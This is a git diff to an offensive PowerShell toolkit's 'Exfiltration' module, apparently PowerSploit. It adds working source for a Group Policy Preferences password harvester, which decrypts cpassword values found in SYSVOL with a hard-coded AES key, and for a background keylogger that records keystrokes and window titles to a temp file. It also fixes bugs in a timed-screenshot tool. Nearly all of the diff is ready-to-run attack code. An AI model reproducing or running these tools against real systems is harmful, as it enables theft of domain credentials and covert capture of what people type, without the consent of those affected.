diff options
Diffstat (limited to 'Exfiltration')
-rw-r--r-- | Exfiltration/Exfiltration.psd1 | 2 | ||||
-rw-r--r-- | Exfiltration/Get-GPPPassword.ps1 | 130 | ||||
-rw-r--r-- | Exfiltration/Get-Keystrokes.ps1 | 247 | ||||
-rw-r--r-- | Exfiltration/Get-TimedScreenshot.ps1 | 10 |
4 files changed, 383 insertions, 6 deletions
diff --git a/Exfiltration/Exfiltration.psd1 b/Exfiltration/Exfiltration.psd1 index 7c65566..ef3daec 100644 --- a/Exfiltration/Exfiltration.psd1 +++ b/Exfiltration/Exfiltration.psd1 @@ -74,7 +74,7 @@ ModuleList = @(@{ModuleName = 'Exfiltration'; ModuleVersion = '1.0.0.0'; GUID = # List of all files packaged with this module
FileList = 'Exfiltration.psm1', 'Exfiltration.psd1', 'Get-TimedScreenshot.ps1', 'Out-Minidump.ps1',
- 'Usage.md'
+ 'Get-Keystrokes.ps1', 'Get-GPPPassword.ps1', 'Usage.md'
# Private data to pass to the module specified in RootModule/ModuleToProcess
# PrivateData = ''
diff --git a/Exfiltration/Get-GPPPassword.ps1 b/Exfiltration/Get-GPPPassword.ps1 new file mode 100644 index 0000000..7204a45 --- /dev/null +++ b/Exfiltration/Get-GPPPassword.ps1 @@ -0,0 +1,130 @@ +function Get-GPPPassword { +<# +.SYNOPSIS + + Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences. + + PowerSploit Function: Get-GPPPassword + Author: Chris Campbell (@obscuresec) + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + +.DESCRIPTION + + Get-GPPPassword searches the domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords. + +.EXAMPLE + + Get-GPPPassword + +.LINK + + http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html + https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1 + http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences + http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html +#> + + [CmdletBinding()] + Param () + + #define helper function that decodes and decrypts password + function Get-DecryptedCpassword { + Param ( + [string] $Cpassword + ) + + try { + #Append appropriate padding based on string length + $Mod = ($Cpassword.length % 4) + if ($Mod -ne 0) {$Cpassword += ('=' * (4 - $Mod))} + + $Base64Decoded = [Convert]::FromBase64String($Cpassword) + + #Create a new AES .NET Crypto Object + $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider + [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8, + 0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b) + + #Set IV to all nulls to prevent dynamic generation of IV value + $AesIV = New-Object Byte[]($AesObject.IV.Length) + $AesObject.IV = $AesIV + $AesObject.Key = $AesKey + $DecryptorObject = $AesObject.CreateDecryptor() + [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length) + + return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock) + } + + catch {Write-Error $Error[0]} + } + + #ensure that machine is domain joined and script is running as a domain account + if (((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False) {throw 'Machine is not joined to a domain.'} + if (($Env:USERDNSDOMAIN) -eq $Null) {throw 'Account is not a domain account.'} + + #discover potential files containing passwords + $XMlFiles = Get-ChildItem -Path "\\$Env:USERDNSDOMAIN\SYSVOL" -Recurse -Include 'groups.xml','services.xml','scheduledtasks.xml','datasources.xml' + + foreach ($File in $XMLFiles) { + + try { + $Filename = $File.Name + $Filepath = $File.VersionInfo.FileName + + #put filename in $XmlFile + [xml] $Xml = Get-Content ($File) + + #declare blank variables + $Cpassword = '' + $UserName = '' + $NewName = '' + $Changed = '' + + switch ($Filename) { + + 'Groups.xml' { + $Cpassword = $Xml.Groups.User.Properties.cpassword + $UserName = $Xml.Groups.User.Properties.userName + $NewName = $Xml.Groups.User.Properties.newName + $Changed = $Xml.Groups.User.changed + } + + 'Services.xml' { + $Cpassword = $Xml.NTServices.NTService.Properties.cpassword + $UserName = $Xml.NTServices.NTService.Properties.accountName + $Changed = $Xml.NTServices.NTService.changed + } + + 'Scheduledtasks.xml' { + $Cpassword = $Xml.ScheduledTasks.Task.Properties.cpassword + $UserName = $Xml.ScheduledTasks.Task.Properties.runAs + $Changed = $Xml.ScheduledTasks.Task.changed + } + + 'DataSources.xml' { + $Cpassword = $Xml.DataSources.DataSource.Properties.cpassword + $UserName = $Xml.DataSources.DataSource.Properties.username + $Changed = $Xml.DataSources.DataSource.changed + } + } + + if ($Cpassword) {$Password = Get-DecryptedCpassword $Cpassword} + + else {Write-Verbose "No encrypted passwords found in $Filepath"} + + #Create custom object to output results + $ObjectProperties = @{'Password' = $Password; + 'UserName' = $UserName; + 'Changed' = $Changed; + 'NewName' = $NewName + 'File' = $Filepath} + + $ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties + Write-Output $ResultsObject + } + + catch {Write-Error $Error[0]} + } +} diff --git a/Exfiltration/Get-Keystrokes.ps1 b/Exfiltration/Get-Keystrokes.ps1 new file mode 100644 index 0000000..0698d9d --- /dev/null +++ b/Exfiltration/Get-Keystrokes.ps1 @@ -0,0 +1,247 @@ +function Get-Keystrokes { +<# +.SYNOPSIS + + Logs keys pressed, time and the active window. + + PowerSploit Function: Get-Keystrokes + Author: Chris Campbell (@obscuresec) and Matthew Graeber (@mattifestation) + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + +.PARAMETER LogPath + + Specifies the path where pressed key details will be logged. By default, keystrokes are logged to '$($Env:TEMP)\key.log'. + +.PARAMETER CollectionInterval + + Specifies the interval in minutes to capture keystrokes. By default, keystrokes are captured indefinitely. + +.EXAMPLE + + Get-Keystrokes -LogPath C:\key.log + +.EXAMPLE + + Get-Keystrokes -CollectionInterval 20 + +.LINK + + http://www.obscuresec.com/ + http://www.exploit-monday.com/ +#> + [CmdletBinding()] Param ( + [Parameter(Position = 0)] + [ValidateScript({Test-Path -Path (Split-Path -Parent $_) -PathType Container})] + [String] + $LogPath = "$($Env:TEMP)\key.log", + + [Parameter(Position = 1)] + [UInt32] + $CollectionInterval + ) + + Write-Verbose "Logging keystrokes to $LogPath" + + $Initilizer = { + $LogPath = 'REPLACEME' + + '"TypedKey","Time","WindowTitle"' | Out-File -FilePath $LogPath -Encoding unicode + + function KeyLog { + [Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms') | Out-Null + + try + { + $ImportDll = [User32] + } + catch + { + $DynAssembly = New-Object System.Reflection.AssemblyName('Win32Lib') + $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('Win32Lib', $False) + $TypeBuilder = $ModuleBuilder.DefineType('User32', 'Public, Class') + + $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String])) + $FieldArray = [Reflection.FieldInfo[]] @( + [Runtime.InteropServices.DllImportAttribute].GetField('EntryPoint'), + [Runtime.InteropServices.DllImportAttribute].GetField('ExactSpelling'), + [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError'), + [Runtime.InteropServices.DllImportAttribute].GetField('PreserveSig'), + [Runtime.InteropServices.DllImportAttribute].GetField('CallingConvention'), + [Runtime.InteropServices.DllImportAttribute].GetField('CharSet') + ) + + $PInvokeMethod = $TypeBuilder.DefineMethod('GetAsyncKeyState', 'Public, Static', [Int16], [Type[]] @([Windows.Forms.Keys])) + $FieldValueArray = [Object[]] @( + 'GetAsyncKeyState', + $True, + $False, + $True, + [Runtime.InteropServices.CallingConvention]::Winapi, + [Runtime.InteropServices.CharSet]::Auto + ) + $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray) + $PInvokeMethod.SetCustomAttribute($CustomAttribute) + + $PInvokeMethod = $TypeBuilder.DefineMethod('GetKeyboardState', 'Public, Static', [Int32], [Type[]] @([Byte[]])) + $FieldValueArray = [Object[]] @( + 'GetKeyboardState', + $True, + $False, + $True, + [Runtime.InteropServices.CallingConvention]::Winapi, + [Runtime.InteropServices.CharSet]::Auto + ) + $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray) + $PInvokeMethod.SetCustomAttribute($CustomAttribute) + + $PInvokeMethod = $TypeBuilder.DefineMethod('MapVirtualKey', 'Public, Static', [Int32], [Type[]] @([Int32], [Int32])) + $FieldValueArray = [Object[]] @( + 'MapVirtualKey', + $False, + $False, + $True, + [Runtime.InteropServices.CallingConvention]::Winapi, + [Runtime.InteropServices.CharSet]::Auto + ) + $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray) + $PInvokeMethod.SetCustomAttribute($CustomAttribute) + + $PInvokeMethod = $TypeBuilder.DefineMethod('ToUnicode', 'Public, Static', [Int32], + [Type[]] @([UInt32], [UInt32], [Byte[]], [Text.StringBuilder], [Int32], [UInt32])) + $FieldValueArray = [Object[]] @( + 'ToUnicode', + $False, + $False, + $True, + [Runtime.InteropServices.CallingConvention]::Winapi, + [Runtime.InteropServices.CharSet]::Auto + ) + $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray) + $PInvokeMethod.SetCustomAttribute($CustomAttribute) + + $PInvokeMethod = $TypeBuilder.DefineMethod('GetForegroundWindow', 'Public, Static', [IntPtr], [Type[]] @()) + $FieldValueArray = [Object[]] @( + 'GetForegroundWindow', + $True, + $False, + $True, + [Runtime.InteropServices.CallingConvention]::Winapi, + [Runtime.InteropServices.CharSet]::Auto + ) + $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray) + $PInvokeMethod.SetCustomAttribute($CustomAttribute) + + $ImportDll = $TypeBuilder.CreateType() + } + + Start-Sleep -Milliseconds 40 + + try + { + + #loop through typeable characters to see which is pressed + for ($TypeableChar = 1; $TypeableChar -le 254; $TypeableChar++) + { + $VirtualKey = $TypeableChar + $KeyResult = $ImportDll::GetAsyncKeyState($VirtualKey) + + #if the key is pressed + if (($KeyResult -band 0x8000) -eq 0x8000) + { + + #check for keys not mapped by virtual keyboard + $LeftShift = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LShiftKey) -band 0x8000) -eq 0x8000 + $RightShift = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RShiftKey) -band 0x8000) -eq 0x8000 + $LeftCtrl = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LControlKey) -band 0x8000) -eq 0x8000 + $RightCtrl = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RControlKey) -band 0x8000) -eq 0x8000 + $LeftAlt = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LMenu) -band 0x8000) -eq 0x8000 + $RightAlt = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RMenu) -band 0x8000) -eq 0x8000 + $TabKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Tab) -band 0x8000) -eq 0x8000 + $SpaceBar = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Space) -band 0x8000) -eq 0x8000 + $DeleteKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Delete) -band 0x8000) -eq 0x8000 + $EnterKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Return) -band 0x8000) -eq 0x8000 + $BackSpaceKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Back) -band 0x8000) -eq 0x8000 + $LeftArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Left) -band 0x8000) -eq 0x8000 + $RightArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Right) -band 0x8000) -eq 0x8000 + $UpArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Up) -band 0x8000) -eq 0x8000 + $DownArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Down) -band 0x8000) -eq 0x8000 + $LeftMouse = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LButton) -band 0x8000) -eq 0x8000 + $RightMouse = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RButton) -band 0x8000) -eq 0x8000 + + if ($LeftShift -or $RightShift) {$LogOutput += '[Shift]'} + if ($LeftCtrl -or $RightCtrl) {$LogOutput += '[Ctrl]'} + if ($LeftAlt -or $RightAlt) {$LogOutput += '[Alt]'} + if ($TabKey) {$LogOutput += '[Tab]'} + if ($SpaceBar) {$LogOutput += '[SpaceBar]'} + if ($DeleteKey) {$LogOutput += '[Delete]'} + if ($EnterKey) {$LogOutput += '[Enter]'} + if ($BackSpaceKey) {$LogOutput += '[Backspace]'} + if ($LeftArrow) {$LogOutput += '[Left Arrow]'} + if ($RightArrow) {$LogOutput += '[Right Arrow]'} + if ($UpArrow) {$LogOutput += '[Up Arrow]'} + if ($DownArrow) {$LogOutput += '[Down Arrow]'} + if ($LeftMouse) {$LogOutput += '[Left Mouse]'} + if ($RightMouse) {$LogOutput += '[Right Mouse]'} + + #check for capslock + if ([Console]::CapsLock) {$LogOutput += '[Caps Lock]'} + + $MappedKey = $ImportDll::MapVirtualKey($VirtualKey, 3) + $KeyboardState = New-Object Byte[] 256 + $CheckKeyboardState = $ImportDll::GetKeyboardState($KeyboardState) + + #create a stringbuilder object + $StringBuilder = New-Object -TypeName System.Text.StringBuilder; + $UnicodeKey = $ImportDll::ToUnicode($VirtualKey, $MappedKey, $KeyboardState, $StringBuilder, $StringBuilder.Capacity, 0) + + #convert typed characters + if ($UnicodeKey -gt 0) { + $TypedCharacter = $StringBuilder.ToString() + $LogOutput += ('['+ $TypedCharacter +']') + } + + #get the title of the foreground window + $TopWindow = $ImportDll::GetForegroundWindow() + $WindowTitle = (Get-Process | Where-Object { $_.MainWindowHandle -eq $TopWindow }).MainWindowTitle + + #get the current DTG + $TimeStamp = (Get-Date -Format dd/MM/yyyy:HH:mm:ss:ff) + + #Create a custom object to store results + $ObjectProperties = @{'Key Typed' = $LogOutput; + 'Time' = $TimeStamp; + 'Window Title' = $WindowTitle} + $ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties + + # Stupid hack since Export-CSV doesn't have an append switch in PSv2 + $CSVEntry = ($ResultsObject | ConvertTo-Csv -NoTypeInformation)[1] + + #return results + Out-File -FilePath $LogPath -Append -InputObject $CSVEntry -Encoding unicode + + } + } + } + catch {} + } + } + + $Initilizer = [ScriptBlock]::Create(($Initilizer -replace 'REPLACEME', $LogPath)) + + Start-Job -InitializationScript $Initilizer -ScriptBlock {for (;;) {Keylog}} -Name Keylogger | Out-Null + + if ($PSBoundParameters['CollectionInterval']) + { + $Timer = New-Object Timers.Timer($CollectionInterval * 60 * 1000) + + Register-ObjectEvent -InputObject $Timer -EventName Elapsed -SourceIdentifier ElapsedAction -Action { + Stop-Job -Name Keylogger + Unregister-Event -SourceIdentifier ElapsedAction + $Sender.Stop() + } | Out-Null + } + +}
\ No newline at end of file diff --git a/Exfiltration/Get-TimedScreenshot.ps1 b/Exfiltration/Get-TimedScreenshot.ps1 index e1c44d0..c14c723 100644 --- a/Exfiltration/Get-TimedScreenshot.ps1 +++ b/Exfiltration/Get-TimedScreenshot.ps1 @@ -50,7 +50,7 @@ https://github.com/mattifestation/PowerSploit/blob/master/Exfiltration/Get-Timed )
#Define helper function that generates and saves screenshot
- Function GenScreenshot {
+ Function Get-Screenshot {
$ScreenBounds = [Windows.Forms.SystemInformation]::VirtualScreen
$ScreenshotObject = New-Object Drawing.Bitmap $ScreenBounds.Width, $ScreenBounds.Height
$DrawingGraphics = [Drawing.Graphics]::FromImage($ScreenshotObject)
@@ -86,7 +86,7 @@ https://github.com/mattifestation/PowerSploit/blob/master/Exfiltration/Get-Timed [String] $FilePath = (Join-Path $Path $FileName)
#run screenshot function
- GenScreenshot
+ Get-Screenshot
Write-Verbose "Saved screenshot to $FilePath. Sleeping for $Interval seconds"
@@ -94,8 +94,8 @@ https://github.com/mattifestation/PowerSploit/blob/master/Exfiltration/Get-Timed }
#note that this will run once regardless if the specified time as passed
- While ((Get-Date -Format HH:%m) -lt $EndTime)
+ While ((Get-Date -Format HH:mm) -lt $EndTime)
}
- Catch {Write-Warning "$Error[0].ToString() + $Error[0].InvocationInfo.PositionMessage"}
-}
\ No newline at end of file + Catch {Write-Error $Error[0].ToString() + $Error[0].InvocationInfo.PositionMessage}
+}
|